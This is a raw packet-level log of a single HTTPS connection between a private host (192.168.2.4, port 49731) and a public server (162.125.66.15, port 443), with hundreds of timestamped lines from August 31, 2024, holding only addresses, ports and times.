Aug 31, 2024 21:18:05.548676014 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.548728943 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.580984116 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.581001997 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.581099987 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.581115007 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.581172943 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.581643105 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.581657887 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.581716061 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.581727982 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.581779957 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.616014957 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.616029978 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.616094112 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.616108894 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.616166115 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.616715908 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.616730928 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.616786003 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.616799116 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.616849899 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.617409945 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.617435932 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.617492914 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.617506981 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.617558002 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.618392944 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.618412018 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.618454933 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.618473053 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.618499994 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.618520021 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.634185076 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.634198904 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.634288073 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.634300947 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.634356976 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.635343075 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.635356903 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.635421991 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.635433912 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.635487080 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.668041945 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.668060064 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.668160915 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.668179035 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.668235064 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.687903881 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.687918901 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.687994957 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.688023090 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.688070059 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.703001976 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.703016996 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.703082085 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.703094959 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.703141928 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.703988075 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.704003096 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.704065084 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.704077959 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.704123020 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.704488039 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.704503059 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.704561949 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.704591036 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.704638004 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.705667973 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.705687046 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.705730915 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.705745935 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.705797911 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.721621990 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.721636057 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.721709013 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.721723080 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.721775055 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.722218990 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.722245932 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.722290039 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.722304106 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.722332001 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.722352982 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.754946947 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.754965067 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.755042076 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.755055904 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.755099058 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.774972916 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.774988890 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.775058031 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.775072098 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.775124073 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.790035963 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.790052891 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.790136099 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.790149927 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.790203094 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.790858030 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.790885925 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.790935993 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.790951014 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.791004896 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.791537046 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.791552067 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.791596889 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.791609049 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.791636944 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.791656017 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.792727947 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.792742014 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.792829037 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.792841911 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.792891979 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.808417082 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.808434010 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.808527946 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.808541059 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.808613062 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.809204102 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.809217930 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.809290886 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.809304953 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.809360981 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.841974974 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.841993093 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.842108011 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.842124939 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.842171907 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.862153053 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.862169981 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.862246990 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.862261057 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.862322092 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.868385077 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.877486944 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.877501011 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.877562046 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.877574921 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.877635002 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.878185034 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.878199100 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.878261089 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.878274918 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.878334045 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.878957987 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.878983021 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.879038095 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.879038095 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.879053116 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.879089117 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.895299911 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.895320892 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.895421982 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.895436049 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.895518064 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.896044016 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.896058083 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.896164894 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.896178007 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.896301985 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.896629095 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.896646023 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.896704912 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.896718025 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.896815062 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.929119110 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.929136038 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.929184914 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.929198027 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.929245949 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.929245949 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.948755026 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.948771000 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.948817015 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.948831081 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.948860884 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.948880911 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.970710039 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.970733881 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.970771074 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.970787048 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.970813036 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.970832109 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.971434116 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.971448898 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.971503019 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.971515894 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.971566916 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.972650051 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.972688913 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.972717047 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.972728968 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.972757101 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.972793102 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.984570026 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.984586954 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.984643936 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.984659910 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.984708071 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.985002041 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.985018015 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.985070944 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.985085011 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.985131025 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.986639977 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.986654997 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.986701965 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:05.986716986 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:05.986762047 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.015887022 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.015902996 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.015954971 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.015989065 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.016016006 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.016031981 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.035804987 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.035820007 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.035918951 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.035937071 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.035986900 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.057475090 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.057490110 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.057565928 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.057595968 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.057646990 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.058243036 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.058258057 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.058312893 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.058325052 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.058352947 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.058378935 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.059276104 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.059290886 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.059348106 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.059360981 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.059413910 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.071587086 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.071602106 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.071669102 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.071682930 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.071744919 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.072113037 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.072132111 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.072164059 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.072175980 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.072201967 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.072222948 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.072909117 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.072926044 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.072977066 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.072990894 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.073036909 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.102742910 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.102757931 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.102850914 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.102864027 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.102914095 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.122703075 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.122736931 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.122780085 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.122797966 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.122826099 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.122844934 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.144593954 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.144609928 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.144681931 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.144696951 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.144752979 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.145189047 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.145204067 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.145282984 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.145296097 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.145345926 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.146176100 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.146214962 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.146258116 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.146275997 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.146302938 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.146325111 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.164170980 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.164190054 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.164254904 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.164268970 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.164313078 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.165061951 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.165076971 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.165137053 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.165149927 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.165198088 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.189380884 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.189408064 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.189466953 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.189481020 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.189508915 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.189526081 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.190090895 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.190107107 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.190167904 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.190181017 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.190227032 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.216002941 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.216017008 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.224497080 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.225707054 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.231385946 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.231411934 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.231463909 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.231478930 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.231507063 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.231527090 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.232157946 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.232182980 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.232222080 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.232240915 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.232265949 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.232286930 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.232947111 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.232960939 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.233014107 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.233026981 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.233078003 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.251342058 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.251358032 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.251442909 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.251465082 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.251512051 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.252016068 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.252032042 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.252090931 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:06.252108097 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:06.252161980 CEST	49731	443	192.168.2.4	162.125.66.15
